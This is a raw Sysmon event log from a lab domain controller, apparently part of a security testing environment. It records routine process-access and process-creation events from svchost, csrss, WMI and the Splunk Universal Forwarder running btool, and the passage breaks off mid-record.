09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004992Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004991Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0F01-000000007F01}2208C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004990Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.321{A5F018FF-294F-5F80-0B01-000000007F01}48362776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-294F-5F80-0F01-000000007F01}2208C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+14738|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+d1d8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004989Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.333{A5F018FF-294F-5F80-0F01-000000007F01}2208C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000004988Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.290{A5F018FF-294F-5F80-0E01-000000007F01}28883320C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004987Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.102{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004986Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.102{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004985Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.102{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004984Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.087{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004983Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.087{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004982Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.087{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004981Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.087{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004980Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.087{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004979Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.087{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004978Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0E01-000000007F01}2888C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004977Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004976Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004975Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004974Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004973Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004972Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004971Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004970Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004969Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0E01-000000007F01}2888C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004968Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004967Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-294F-5F80-0D01-000000007F01}36881400C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294F-5F80-0E01-000000007F01}2888C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program 